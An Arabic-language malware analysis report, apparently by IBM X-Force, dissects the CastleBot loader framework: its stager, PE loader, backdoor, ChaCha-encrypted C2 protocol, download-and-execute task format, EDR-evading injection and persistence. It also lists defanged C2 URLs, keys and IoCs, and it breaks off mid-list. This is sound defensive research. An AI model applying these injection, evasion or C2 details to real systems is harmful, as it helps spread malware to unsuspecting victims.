تفكيك عملية CastleBot باعتبارها خدمة برامج ضارة

ثلاث شاشات رقمية على مكتب تعرض رسالة خطأ حرجة باللون الأحمر.

مؤلف

Golo Mühr

Malware Reverse Engineer

IBM

تعمل IBM X-Force على التحقيق في إطار برمجي ضار ناشئ حديثًا باسم CastleBot. يُعتقد أن هذا البرنامج الضار جزء من عملية برامج ضارة كخدمة، وقد صُمم خصوصًا لنشر البرمجيات الضارة بمرونة عالية. يُستخدم CastleBot حاليًا من قِبل المجرمين الإلكترونيين لتسليم كل شيء بدءًا من أدوات سرقة المعلومات وحتى الأبواب الخلفية مثل NetSupport وWarmCookie، والتي ارتبطت بهجمات برامج الفدية.

ما يجعل CastleBot مقلقًا بشكل خاص هو طريقة توزيعه، وغالبًا ما يكون ذلك عبر مثبِّتات برامج مخترقة يتم تنزيلها من مواقع مزيفة، ما يدفع المستخدمين غير الحذرين إلى إطلاق العدوى بأنفسهم. هذه التقنية هي جزء من التوجُّه المتزايد الذي تلاحظه X-Force. غالبًا ما يتم تفعيله عبر تسميم تحسين محركات البحث، ما يجعل الصفحات الضارة تأتي في مرتبة أعلى في محركات البحث مقارنةً بموزِّعي البرامج الشرعيين. بمجرد دخوله، يعمل CastleBot عبر عملية من ثلاث مراحل: عنصر تمهيدي/أداة تنزيل، ثم أداة تحميل، يليه الباب الخلفي الأساسي الذي يطلب مجموعة من المهام من خادم القيادة والسيطرة (C2). تُتيح المعلومات التي يتم جمعها من الجهاز المصاب للمشغِّلين تصفية الضحايا بسهولة، وإدارة الإصابات الجارية، ونشر البرامج الضارة على أهداف عالية القيمة بدقة.

لا يزال CastleBot في طور التطور، وأبحاثنا تشير إلى أنه على الأرجح قد بدأ للتو. في هذا التقرير، نشرح كيفية عمله، وطريقة انتشاره، وأسباب أهميته.

النتائج الرئيسية:

  • يُعَد CastleBot برنامجًا ضارًا جديدًا من المرجح تشغيله كنموذج برامج ضارة كخدمة، ويمكن استخدامه لتسليم مجموعة واسعة من الحمولات الضارة.
  • تتراوح الحمولات اللاحقة بين أدوات سرقة المعلومات والأبواب الخلفية المرتبطة بهجمات برامج الفدية، مثل NetSupport وWarmCookie.
  • لاحظت X-Force أن مثبتات البرامج المخترقة هي أكثر وسيلة شيوعًا لانتشار CastleBot.
  • يتكوّن إطار CastleBot من ثلاثة عناصر: عنصر تمهيدي، وعنصر تحميل، والنواة الأساسية، ويبدو أنه قيد التطوير النشط.
  • يبدو أن البرمجية الضارة تُتيح للمشغِّلين سهولة تصفية الضحايا، وتحديث الحمولات، وإدارة حملات متعددة طوال دورة حياتها.

لمحة عامة

ظهر CastleBot لأول مرة في أوائل عام 2025. لاحظت X-Force زيادة في حجم العينات والحمولة المختلفة بدءًا من مايو، ومنذ ذلك الحين لاحظت نشر حمولات خلفية وسرقة معلومات مختلفة. أكثر طرق الإصابة شيوعًا في CastleBot هي البرامج الضارة، وهو جزء من اتجاه لاحظته X-Force منذ عام 2024. غالبًا ما يتم توزيع حِزم ومثبِّتات البرامج المخترقة عبر مواقع وهمية باستخدام تسمم تحسين محركات البحث لجذب الضحايا. تم توزيع CastleBot أيضًا عبر مستودعات GitHub، مقلدًا برامج شرعية، ومن خلال تقنية ClickFix الشهيرة.

حدّدت X-Force ثلاثة عناصر ضمن إطار برمجيات CastleBot الضارة: عنصر تمهيدي، وعنصر تحميل، والنواة/الباب الخلفي لـ CastleBot.

مخطط انسيابي يوضِّح سلسلة الإصابة بـ CastleBot
الشكل 1: سلسلة الإصابة بـ CastleBot

لاحِظ أن التقارير العامة السابقة من Prodraft تُشير إلى نفس إطار البرمجيات الضارة تحت اسم “CastleLoader”.

العنصر التمهيدي في CastleBot

في معظم الحالات، يتم نشر عنصر CastleBot الأساسي عبر عنصر تمهيدي من نوع Shellcode، وهو جزء من نفس عائلة برمجيات CastleBot الضارة. يُعَد العنصر التمهيدي حمولة خفيفة من الشيل كود يمكن حقنها بواسطة أي عنصر تحميل من المرحلة الأولى. رصدت X-Force استخدام عدة أدوات تشفير مع CastleBot، من بينها Dave، وهو أداة تشفير تعتمد على AutoIt، بالإضافة إلى وحدات تشفير بسيطة مجمَّعة بلغة C.

يستخدم البرنامج الضار خوارزمية التجزئة DJB2 لتحديد واجهات برمجة التطبيقات اللازمة أثناء التشغيل. قبل كل استدعاء لواجهة برمجة التطبيقات، يقوم بتحميل ملف DLL المقابل ويفرّغ جدول عناوين التصدير (EAT) بحثًا عن دالة واجهة برمجة التطبيقات باستخدام تجزئات DJB2 التي تم توليدها مسبقًا. إذا تمت إعادة توجيه التصدير إلى DLL آخر، يعمل العنصر التمهيدي (ٍStager) بتحليل اسم الـ DLL، ثم تحميله وتحديد الدالة باستخدام GetProcAddress.

عند التشغيل، يقوم العنصر التمهيدي بتنزيل حمولة مزدوجة عبر بروتوكول HTTP مستخدمًا وكيل المستخدم Googlebot. مسارات الروابط متشابهة بين العينات وتُشير إلى خادم التحكم والسيطرة نفسه المستخدم من عنصر CastleBot الأساسي. 

أمثلة على روابط URL للتنزيل:

http://173.44.141[.]89/service/download/data_3x.bin

http://173.44.141[.]89/service/download/data_4x.bin

لقطة شاشة لعنصر CastleBot التمهيدي المفكَّك
الشكل 2: لقطة شاشة لعنصر CastleBot التمهيدي المفكَّك

يتم فك تشفير كِلتا الحمولتين باستخدام سلسلة XOR ثابتة مضمّنة داخل الشيفرة، وهي هنا GySDoSGySDoS (مشفرة بـ UTF-16)، ما يكشف عن ملف PE يمثل العنصر الأساسي لـ CastleBot، بالإضافة إلى جزء shellcode يمثِّل CastleBot Loader.

بعد ذلك يستخدم العنصر التمهيدي وظيفة VirtualProtect لتمكين التنفيذ على الذاكرة المكدَّسة للمنطقة التي تحتوي على حمولة الشيل كود الثانية بعد فك تشفيرها. أمّا الأخيرة، التي تعمل كمحمِّل، فيتم تنفيذها مباشرة داخل الذاكرة وتتلقى مؤشرًا إلى ملف PE المفكَّك كوسيط.

أداة تحميل CastleBot

تعمل CastleBot Loader كمحمِّل PE متكامل، يبدأ بعملية تعيين كل قسم من ملف PE المُقدَّم داخل منطقة ذاكرة جديدة يتم تخصيصها باستخدام NtAllocateVirtualMemory. ويستمر بعدها في معالجة عمليات إعادة النقل اللازمة، وحلّ الواردات، وضبط خيارات حماية الذاكرة المناسبة، وتنفيذ وظائف استرجاع TLS الموجودة.

ومن الجدير بالذكر أن المحمّل يُنشئ أيضًا بنية LDR_DATA_TABLE_ENTRY جديدة مع البنية المقابلة LDR_DDAG_NODE (الموسَّعة في Windows 8 وما بعده)، ثم يضيفهما إلى القوائم المزدوجة الارتباط ضمن PEB_LDR_DATA التي تحتوي على الوحدات المحمَّلة لكل عملية. بالنسبة لعوامل EDR التي تراقب برنامج PEB، يجعل هذا الحمولة التي تم حقنها تبدو كما لو أنها جرى تحميلها بشكل شرعي بواسطة نظام التشغيل.

إعداد CastleBot Loader لهياكل LDR_DATA_TABLE_ENTRY وLDR_DDAG_NODE وإدراجها داخل قوائم الوحدات في PEB_LDR_DATA.
الشكل 3: إعداد CastleBot Loader لهياكل LDR_DATA_TABLE_ENTRY وLDR_DDAG_NODE وإدراجها داخل قوائم الوحدات في PEB_LDR_DATA.

ما لم يكن الملف الذي تم حقنه عبارة عن DLL، يتم أيضًا ضبط حقل ImageBaseAddress في PEB ليشير إلى العنوان الأساسي للحمولة التي تم حقنها.

وأخيراً، لتنفيذ الحمولة، يقوم CastleBot Loader بتنفيذ نقطة الدخول أو تخصيص وحدة تحكم جديدة لتطبيقات وحدة التحكم.

الكود الذي يصور الوظيفة الرئيسية لبرنامج CastleBot Loader
الشكل 4: الوظيفة الرئيسية لأداة CastleBot Loader

في العينة التي تم تحليلها أعلاه، فإن الحمولة التي تم حقنها هي x86 CasselBot Backdoor (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04).

نواة CastleBot الأساسية

تستخدم نواة CastleBot الأساسية نفس آلية حل واجهة برمجة التطبيقات مثل عنصر المكدِّس والمحمِّل، باستثناء خوارزمية التجزئة، وهي تجزئة AP، التي طورها Arash Partow.

يبدأ backdoor أولًا بفك تشفير إعداداته. يتم تخزين معظم السلاسل النصية داخل الملف التنفيذي، بما في ذلك ما يخص الإعدادات، بصيغة UTF‑16، ويتم فك شفرتها ضمنيًا باستخدام مفتاح XOR فريد مكوّن من 4 بايتات لكل سلسلة. أثناء فك التشفير، يتم إنشاء بنية التكوين التالية:

struct CONFIG
{
  wchar_t *p_campaign_id;   //
81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
  int size_utf16_campaign_id;
  int size_utf8_campaign_id;
  wchar_t *p_URL;           // http://173.44.141[.]89/service
  int size_utf16_URL;
  int size_utf8_URL;
  wchar_t *p_useragent;     // fTniXgvddlgotdAXke2CRZy
  int size_utf16_useragent;
  int size_utf8_useragent;
  wchar_t *p_mutex_name;    // 10KCnWHtIoABhkL2Cl3u
  int size_utf16_mutex_name;
  int size_utf8_mutex_name;
  DATA_BUFFER_STRUCT *p_chacha_key;     //
0x84fda801005fdd07340a1ca6d8a351adc6cfe9e39ffe7498a0955209ad2f7978
  int zero_34;
  DATA_BUFFER_STRUCT *p_chacha_nonce;       // 0x0b5ac47bfeeaf4af61726a5c
  int zero_3C;
};

يحاول البرنامج الضار إنشاء قفل تبادلي، باستخدام الاسم من التكوين، لضمان تشغيل نسخة واحدة فقط. في الخطوة التالية، يرسل طلب HTTP GET إلى عنوان URL المشفّر لاسترداد إعداداته، باستخدام معرِّف الحملة في مسار عنوان URL:

GET
/service/settings/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: fTniXgvddlgotdAXke2CRZy
Host: 173.44.141[.]89

ردًا على ذلك، يتلقى CastleBot كتلة من البيانات المشفرة.

اتصالات C2

يتم تشفير جميع اتصالات C2 عبر خوارزمية ChaCha المتماثلة، باستثناء طلب GET الأوَّلي للبرنامج الضار. بعد فك التشفير، يستخدم بروتوكول C2 هيكل بيانات مخصص متسلسل، يُشار إليه داخليًا باسم الحاوية، والذي يمكنه تخزين قِيم من أنواع مختلفة.

حاويات متسلسلة

يوجد دائمًا في جذر بنية البيانات المتسلسلة حقل من النوع ContainerFieldArray. توضِّح الهياكل أدناه بشكل أكبر كيفية إعداد أنواع المصفوفات والقيم المنطقية:

enum ContainerFieldType {
    CONTAINER_FIELD_TYPE_NONE,
    CONTAINER_FIELD_TYPE_BOOL,
    CONTAINER_FIELD_TYPE_UINT8,
    CONTAINER_FIELD_TYPE_INT8,
    CONTAINER_FIELD_TYPE_UINT16,
    CONTAINER_FIELD_TYPE_INT16,
    CONTAINER_FIELD_TYPE_UINT32,
    CONTAINER_FIELD_TYPE_INT32,
    CONTAINER_FIELD_TYPE_UINT64,
    CONTAINER_FIELD_TYPE_INT64,
    CONTAINER_FIELD_TYPE_STRINGA,
    CONTAINER_FIELD_TYPE_STRINGW,
    CONTAINER_FIELD_TYPE_BLOB,
    CONTAINER_FIELD_TYPE_ARRAY
}

struct FIELD_NAME {
    WORD fieldname_len;
    wchar fieldname[];
}

struct CONTAINER_FIELD_ARRAY {
    ContainerFieldType type;
    FIELD_NAME field_name;
    SIZE_T size;
    union {
        CONTAINER_FIELD_NONE none;
        CONTAINER_FIELD_BOOL bool;
        CONTAINER_FIELD_UINT8 uint8;
        CONTAINER_FIELD_INT8 int8;
        CONTAINER_FIELD_UINT16 uint16;
        CONTAINER_FIELD_INT16 int16;
        CONTAINER_FIELD_UINT32 uint32;
        CONTAINER_FIELD_INT32 int32;
        CONTAINER_FIELD_UINT64 uint64;
        CONTAINER_FIELD_INT64 int64;
        CONTAINER_FIELD_STRINGA stringa;
        CONTAINER_FIELD_STRINGW stringw;
        CONTAINER_FIELD_BLOB blob;
        CONTAINER_FIELD_ARRAY array;
    };
}

struct CONTAINER_FIELD_BOOL {
    ContainerFieldType type; // CONTAINER_FIELD_TYPE_BOOL=0x01
    FIELD_NAME field_name;
    BYTE bool;
}

عند تحليل الحاوية التي تم فك تشفيرها والتي تحدِّد الإعدادات المطلوبة من قبل الباب الخلفي، تبدأ البيانات بالبايت 0x0D، ما يشير إلى النوع ContainerFieldArray.يتَّبع ذلك البايت اسم الحقل، وهو نفسه طول البايت المزدوج متبوعًا بالاسم المشفر UTF-16. بعد الاسم، يحدِّد حقل المصفوفة طول البيانات المكوَّن من 4 بايت، يتبعه المحتوى نفسه، حيث يبدأ أول بايت فيه بتحديد النوع.

حاوية إعدادات CastleBot

يتم تحليل الإعدادات التي تلقتها العينة التي تم تحليلها أعلاه على النحو التالي.

البيانات المتسلسلة:

00000000  0d 08 00 72 00 6f 00 6f 00 74 00 89 00 00 00 0d  |...r.o.o.t......|
00000010  10 00 73 00 65 00 74 00 74 00 69 00 6e 00 67 00  |..s.e.t.t.i.n.g.|
00000020  73 00 72 00 00 00 01 18 00 72 00 75 00 6e 00 5f  |s.r......r.u.n._|
00000030  00 61 00 73 00 5f 00 61 00 64 00 6d 00 69 00 6e  |.a.s._.a.d.m.i.n|
00000040  00 00 01 0e 00 61 00 6e 00 74 00 69 00 5f 00 76  |.....a.n.t.i._.v|
00000050  00 6d 00 00 01 1e 00 70 00 72 00 65 00 76 00 65  |.m.....p.r.e.v.e|
00000060  00 6e 00 74 00 5f 00 72 00 65 00 73 00 74 00 61  |.n.t._.r.e.s.t.a|
00000070  00 72 00 74 00 00 01 1e 00 73 00 68 00 6f 00 77  |.r.t.....s.h.o.w|
00000080  00 5f 00 66 00 61 00 6b 00 65 00 5f 00 65 00 72  |._.f.a.k.e._.e.r|
00000090  00 72 00 6f 00 72 00 00                          |.r.o.r..|

كائن تم إلغاء تسلسله:

root: {
    settings: {
        run_as_admin: False,
        anti_vm: False,
        prevent_restart: False,
        show_fake_error: False,
    }
}

بالنسبة لكل إعداد مفعَّل، يتم تنفيذ الإجراءات التالية بواسطة CastleBot:

run_as_admin: سيقوم البرنامج الضار بتنفيذ العملية الأصلية عبر "cmd.exe /c" عبر ShellExecuteW باستخدام الفعل "runas" لتشغيله كمسؤول.

anti_vm: سيستخدم CastleBot تعليمة cpuid مع ورقة 0x40000000 لمحاولة اكتشاف بيئات المراقب الافتراضي. إذا تم اكتشاف VMware أو Parallels، فسيتم إيقاف البرامج الضارة.

prevent_restart: سيقوم CastleBot بإنشاء ملف مخفي جديد في %PROGRAMDATA% بالاسم المطابق لاسم mutex المضمن في التكوين. إذا كان الملف موجودًا بالفعل، فسيتم إيقاف البرامج الضارة.

show_fake_error: يعرض البرنامج الضار مربع رسالة "خطأ في النظام" مع الرسالة "The program can't start because VCRUNTIME140.dll is missing from your computer. Try reinstalling the program to fix this problem".

تعداد المضيف

في الخطوة التالية، يجمع CastleBot المعلومات عن المضيف المصاب للتسجيل مع خادم C2 وطلب المهام.

  • اسم المستخدم عبر GetUserNameW
  • اسم NetBIOS عبر GetComputerNameW
  • بنية النظام عبر IsWow64Process
  • اسم نطاق DNS المحلي، باستخدام LsasQueryInformationPolicy لاسترداد بنية PolicyDnsDomainInformation. القيمة الافتراضية هي "WORKGROUP".
  • رقم المجلد التسلسلي الذي تم استرجاعه عبر GetVolumeInformationW. يستخدمه CastleBot لحساب معرِّف الضحية الفريد باستخدام مولِّد خطي متطابق (LCG) بمضاعف 0x41c64E6d وإضافة 0x3039.
  • إصدار ويندوز عبر RtlGetVersion وGetSystemMetrics(89).

يتم جمع المعلومات في الكائن أدناه، يلي ذلك عملية التسلسل وفك تشفير ChaCha:

root: {
    information: {
        access_key: "fTniXgvddlgotdAXke2CRZy",
        campaign_identifier:
"81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3",
        machine_id: <calculated_victim_id>,
        build_version: "1.0",
        username: <username>,
        computer_name: <NetBIOS name>,
        domain_name: <local DNS domain name>,
        windows_version: <Windows version>,
        arch: <system architecture>,
    }
}

القيم المضمّنة داخل الشيفرة تشمل مفتاح الوصول (المطابق لوكيل المستخدم User-Agent من الإعدادات)، ومعرِّف الحملة، وإصدار بناء CastleBot، والذي هو "1.0" للعينة التي تم تحليلها.

يرسل الباب الخلفي البيانات المشفرة في طلب HTTP Post إلى

http://173.44.141[.]89/service/tasks

 الاستجابة هي حاوية مشفرة أكبر تحمل مهام CastleBot التي تم تكوينها مسبقًا.

حاوية مهام CastleBot

يتم فك تشفير الحاوية المستلمة من خادم C2 بواسطة نموذج CastleBot الذي تم تحليله من قِبل نموذج CastleBot الذي تم تحليله وإعادة تسلسله إلى كائن يحتوي على الحقول التالية:

root: {
    access_key: "fTniXgvddlgotdAXke2CRZy",
    tasks: {
        {
            id: 16,
            url: "http://173.44.141[.]89/service/download/docusign2.exe",
            install_path: "%TEMP%\docusign-auth2.exe",
            launch_method: 1,
            argument: "",
            run_as_admin: False,
            startup_method: 1,
            is_encrypted_container: False,
            container_encryption_key: "",
            auto_unpack_zip: False,
            zip_executable_files: {},
        }
    }

}

حقل "tasks" هو نوع مخصص من المصفوفات كما هو موضَّح أعلاه، ويحتوي على مصفوفة واحدة على الأقل بلا اسم (طول الاسم صفر)، تمثِّل كل منها مهمة. قد يستقبل CastleBot أيضًا مصفوفة تحتوي على مهام متعددة يتم تنفيذها بالتتابع. تحتوي كل مهمة على معرِّف وعدة حقول تحدد كيفية تنفيذ المهمة، والتي يتم نسخها إلى بنية المهمة أثناء عملية فك التسلسل.

تنفيذ المهام

الحقل الأكثر أهمية في كل مهمة هو "launch_method"، الذي يحدد نوع الحمولة التي سيتعامل معها CastleBot.

طريقة الإطلاق

الحمولة

التنفيذ

1

ملف EXE تم تنزيله من عنوان URL

عبر CreateProcessW أو ShellExecuteW 

2

تم تنزيل DLL من عنوان URL

عبر ShellExecuteW وrundll.exe

3

تم تنزيل DLL من عنوان URL

عبر LoadLibraryW

4

تم تنزيل PE من URL

يتم حقنها في عملية جديدة

5

أمر PowerShell في حقل "argument"

عبر ShellExecuteW

6

أمر BAT في حقل "argument"

عبر ShellExecuteW

يمكن استخدام الحقول الأخرى لتعيين خيارات محددة لتنفيذ المهمة:

اسم الحقل

الوصف

المعرِّف

معرّف مهمة فريد، يُستخدم للإبلاغ عن التنفيذ الناجح إلى خادم C2

url

عنوان URL لاسترداد الحمولة. غالبًا ما تتم استضافة الحمولات على خادم C2 على http://<castlebot_c2>/service/download/<payload_name>

install_path

المسار المستهدف لحقن العملية، والذي قد يحتوي على متغيرات البيئة، أو ببساطة ":SELF:" الذي يحقن الحمولة في نسخة مكررة من العملية الأصلية.

argument

المعطيات الخاصة بالعمليات في install_path، أو الأوامر المخصصة لتنفيذ PowerShell أو ملفات BAT

run_as_admin

إذا تم التعيين، ستستخدم عمليات التنفيذ عبر ShellExecuteW الفعل "runas".

startup_method

إذا تم ضبط القيمة على "1"، يتم إنشاء استمرارية للحمولة عبر مهمة مجدولة تم تنفيذها عند كل تسجيل دخول. 

is_encrypted_container

في حالة التعيين، يتم فك تشفير الحمولة التي تم تنزيلها من عنوان URL وتحليلها كحاوية أخرى لاسترداد حمولة المهمة.

container_encryption_key  

مفتاح RC4 المستخدم مع الحاوية المشفرة.

auto_unpack_zip

في حالة تعيينها، يتم التعامل مع الحمولة كملف ZIP ويتم استخراجها يدويًا.

zip_executable_files

قائمة بالملفات المستهدفة في أرشيف ZIP والتي يجب تنفيذها وفقًا لطريقة الإطلاق.

wow64_bypass

خيار تمت إضافته مؤخرًا، لتحديد ما إذا كان ينبغي تشغيل ملفات النظام بنواة 32‑بت بدلًا من ذلك.

  

حقن العملية

يدعم CastleBot عملية الحقن البسيطة لأحمال PE. يبدأ بإنشاء عملية جديدة موقوفة مؤقتًا، استنادًا إلى حقلَي مسار التثبيت والمعطيات. لكي يعمل على Windows 11 24H2 وما بعده، اختار مطوّرو البرنامج الضار اعتراض وظيفة NtManageHotPatch ضمن NTDLL في الذاكرة لتجاوز فحص الذاكرة المُضاف حديثًا. راجع منشور Hasherezade للمزيد من التفاصيل، والذي يقدِّم أيضًا تنفيذ POC الدقيق المستخدم من قِبل CastleBot.

كود يُظهر طريقة اعتراض CastleBot لوظيفة NtManageHotPatch.
الشكل 5: طريقة اعتراض CastleBot لوظيفة NtManageHotPatch.

يتبع ما تبقّى من عملية الحقن الأساليب المعتادة، عبر تخصيص ذاكرة في العملية المستهدفة، ونسخ المقاطع داخل الذاكرة المؤقتة، وتعديل سياق المسار قبل استئناف التنفيذ.

كود يوضِّح عملية الحقن في CastleBot
الشكل 6: عملية الحقن في CastleBot

الاستمرارية

إذا تم تعيين حقل طريقة البدء إلى "1"، يقوم CastleBot بإنشاء مهمة مجدولة لإرساء الاستمرارية. لتسجيل المهمة، يستخدم البرنامج الضار واجهة ITaskService COM للاتصال بخدمة Task Scheduler. يقوم بإنشاء مهمة جديدة وإجراء تنفيذ للحمولة المستهدفة، والتي يتم تشغيلها في كل مرة يقوم فيها المستخدم الحالي بتسجيل الدخول (TASK_TRIGGER_LOGON).

إكمال المهمة

يتم التعامل مع كل مهمة في حاوية "المهام" بشكل متكرر وفقًا للحقول المحددة لها. بمجرد إتمام مهمة دون أخطاء، يُبلغ البرنامج الضار عن التنفيذ الناجح عبر طلب HTTP GET إلى:

http://<c2_server>/service/tasks/complete/id/<task_id>

تحديثات يوليو 2025

رصدت X-Force نسخة محدَّثة من نواة CastleBot تدعم أساليب تشغيل جديدة، إضافةً إلى خيار باسم wow64_bypass، يُستخدم لتشغيل ملفات النظام ذات الإصدار 32-بت ضمن مجلد SysWOW64.

طريقة الإطلاق

الحمولة

التنفيذ

1

ملف EXE تم تنزيله من عنوان URL

عبر CreateProcessW أو ShellExecuteW 

2

تم تنزيل DLL من عنوان URL

عبر ShellExecuteW وrundll.exe

3

تم تنزيل DLL من عنوان URL

عبر ShellExecuteW وregsrv32.exe

4

تم تنزيل DLL من عنوان URL

عبر LoadLibraryW

5

تم تنزيل PE من URL

تم حقنه في عملية جديدة عبر آلية قديمة

6

تم تنزيل PE من URL

تم حقنه في عملية جديدة عبر PE Loader

7

أمر PowerShell في حقل "argument"

عبر ShellExecuteW

8

أمر BAT في حقل "argument"

عبر ShellExecuteW

9

تم تنزيل MSI من URL

عبر ShellExecuteW وmsiexec.exe

يكتب تطبيق حقن العملية الإضافية (طريقة الإطلاق 6) كلًا من عنصر CastleBot Loader (انظر قسم التحليل أعلاه) بالإضافة إلى حمولة PE في العملية المستهدفة. ثم يستخدم QueueUserAPC وResumeThread لنقل التنفيذ إلى المحمِّل، الذي يقوم بتحميل حمولة PE بشكل صحيح في الذاكرة وتنفيذها.

كود يصوِّر تنفيذ عملية الحقن باستخدام QueueUserAPC.
الشكل 7: عملية الحقن باستخدام QueueUserAPC.

تستخدم هذه التقنية عددًا أقل بكثير من استدعاءات واجهة برمجة التطبيقات WriteProcessMemory API وتوفِّر وظيفة تحميل أكثر اكتمالًا من جزء CastleBot Loader.

الحملات والحمولات

الهدف الرئيسي لـ CastleBot هو تمكين نشر الحمولات الثانوية على أجهزة الضحايا. كشفت X-Force عن العديد من الحمولات المختلفة التي تم توزيعها بواسطة CastleBot، وغالبًا ما كانت توزع حمولات متعددة في حملة واحدة. تختلف الحمولات في مستوى تعقيدها، بدءًا من أدوات سرقة المعلومات الشائعة ووصولًا إلى أبواب خلفية أكثر قدرة مثل NetSupport وWarmCookie، والتي ارتبطت بهجمات فدية.

يبدو أن إطار CastleBot كخدمة (MaaS) يتيح للمشغلين تصفية الأجهزة المصابة وتحديث الحمولات بسهولة لإدارة عدة حملات نشطة بمرونة عالية، وفقًا لتحليل Prodaft ولقطات شاشة لوحة التحكم C2. بفضل مرونة الحمولات وقدرة المشغِّل على إضافة مهام وحمولات متعددة إلى حملة واحدة، فإن سلاسل الإصابة في CastleBot أكثر تعقيدًا مقارنةً بمراحل البرامج الضارة الثابتة التقليدية.

لا تمتلك X-Force أي دليل على انتشار واسع لإعلانات خدمة MaaS على الشبكة الخفية، ما قد يشير إلى أن الخدمة تُباع حاليًا لمجموعة محددة من الشركاء فقط.

NetSupport

دون تعريف البرمجية لضارة كإطار عمل مستقل، تم الإبلاغ عن أجزاء مختلفة من الحملات المؤدية إلى NetSupport من قِبل باحثين آخرين في يونيو ويوليو 2025.

لاحظت DomainTools صفحات DocuSign مزيفة تستخدم تقنية ClickFix لتنفيذ برنامج PowerShell خبيث، والذي يقوم بدوره بتنزيل CastleBot لنشر NetSupport. حملة IoCs:

a2898897d3ada2990e523b61f3efaacf6f67af1a52e0996d3f9651b41a1c59c9: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
d6eea6cf20a744f3394fb0c1a30431f1ef79d6992b552622ad17d86490b7aa7b:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”.
http://mhousecreative[.]com/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” - CastleBot campaign ID
http://mhousecreative[.]com/service/download/general_1 - NetSupport download
URL hosted on  CastleBot C2 server
2a2cd6377ad69a298af55f29359d67e4586ec16e6c02c1b8ad27c38471145569: NetSupport payload

أفاد فريق Unit42 التابع لـ PaloAlto بنشاط مشابه مع مواقع تُحاكي DocuSign وOkta، تستخدم تقنية ClickFix لنشر CastleBot عبر عناصر التمهيد والتحميل الأولية. يتضمن تحليلًا جزئيًا لـ "NetSupport RAT Loader”، والذي تحدد X-Force أنه إطار عمل CastleBot. حملة IoCs:

8b2ebeff16a20cfcf794e8f314c37795261619d96d602c8ee13bc6255e951a43: PowerShell
script downloading and extracting a ZIP archive before executing “jp2launcher.exe”
cbaf513e7fd4322b14adcc34b34d793d79076ad310925981548e8d3cff886527:
“msvcp14.dll” crypted  CastleBot stager DLL-sideloaded by “jp2launcher.exe”. 
http://80.77.23[.]48/service/ -  CastleBot C2 server for stager and core components.
“5702b2a25802ff1b520c0d1e388026f8074e836d4e69c10f9481283f886fd9f4” -  CastleBot campaign ID

WarmCookie

إحدى الحمولات الأكثر إثارة للاهتمام في CastleBot هي الباب الخلفي WarmCookie (المعروف أيضًا باسم Quickbind، BadSpace). من المحتمل أن يكون جزءًا من منظومة أكبر للجرائم الإلكترونية يسمح بهجمات برامج الفدية وكان من بين عائلات البرامج الضارة التي استهدفتها أجهزة إنفاذ القانون الدولية بنجاح خلال عملية Operation Endgame في عام 2024. في السابق، قام عنصر التهديد Hive0137 بتوزيع WarmCookie عبر حملات بريدية ضارة، على الرغم من عدم ملاحظة أي نشاط مهم في 2025 وفقًا لرصد X-Force. يرتبط WarmCookie بشكل عام بعمليات TA866/Asylum Ambuscade.

بدأت الحملة التي رصدتها X-Force في يونيو بأرشيف ZIP مسلَّح يُحاكي مثبت برنامج شرعي SSMS-20.2-enu.zip (4766f5cc6501fc40c7151a0ce1c9d2cc49fca9b0b9cab2a206dd2426947e9afe). من بين العناصر الشرعية، يحتوي الملف على برنامج تنفيذي خبيث SSMS_Windows.x64.exe (05ecf871c7382b0c74e5bac267bb5d12446f52368bb1bfe5d2a4200d0f43c1d8) تم تحديده كمتغيّر من Dave Loader، والذي يقوم بفك تشفير حمولة مخزَّنة ضمن موارده. بعد فك التشفير، يقوم Dave Loader بحقن الباب الخلفي CastleBot (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04)، والذي يتلقى مهمة تنزيل وتنفيذ حمولة WarmCookie (5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4) من

http://173.44.141[.]89/service/download/docusign2.exe

يوجد خادم WarmCookie C2 في:

170.130.165[.]112

استخدمت عينة ثانية تم العثور عليها لاحقًا في يونيو برنامجًا تنفيذيًا مشابهًا، يُحاكي مثبِّت برنامج Zscaler باسم Zscaler-windows-4.4.0.379-installer-x64.exe (bf21161c808ae74bf08e8d7f83334ba926ffa0bab96ccac42dde418270387890). الملف الثنائي المجمَّع تلقائيًا بواسطة AutoIt هو محمِّل بسيط لرمز shellcode، يقوم بتنفيذ برنامج CastleBot المضمن، والذي بدوره يقوم بتنزيل نفس الملف الثنائي للباب الخلفي CastleBot (202f6b6631ade2c41e4762e5877ce0063a3beabce0c3f8564b6499a1164c1e04).

تُشير نتائج تنفيذ العينة الأصلية لـ CastleBot في بيئة Sandbox إلى أن نفس الشريك قد يكون نشر حمولة StealC مع خادم C2 على العنوان "http://107.158.128[.]105/c91252f9ab114f26.php" خلال الحملة، إلا أن X-Force لم تتمكّن من استرجاع عينة منها.

تستخدم كلتا الحملتين معرّف الحملة "81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3".

Infostealers

بالإضافة إلى ذلك، يعمل فِريق X-Force على تتبُّع العديد من حملات CastleBot التي تقوم بتسليم مختلف برامج سرقة المعلومات. يدعم البرنامج الضار تنفيذ مهام تنزيل متعددة ضمن أي حملة، ما يؤدي إلى نشر عدة حمولات على نفس الجهاز. يقوم الملف التنفيذي AMD_Chipset_DriverOnly_DCH_AMD_Z_V1.2.0.105_20238.exe (e6aab1b6a150ee3cbc721ac2575c57309f307f69cd1b478d494c25cde0baaf85) بتحميل حمولة CastleBot core المضمّنة (b45cce4ede6ffb7b6f28f75a0cbb60e65592840d98dcb63155b9fa0324a88be2) من موارده وتنفيذها. تقع نقطة نهاية إعدادات خادم C2 عند

http://62.60.226[.]73/service/settings/32e7ebb66296d22b4cf28dbe6d8dfd314590175d5fc2168609886985d6c807c1

وقد تبيّن أنها ترسل ثلاث مهام منفصلة ضمن رسالة C2 واحدة، بحيث ينفّذ كلٌ منها نشر حمولة مختلفة.

  • معرِّف المهمة: 0 x16
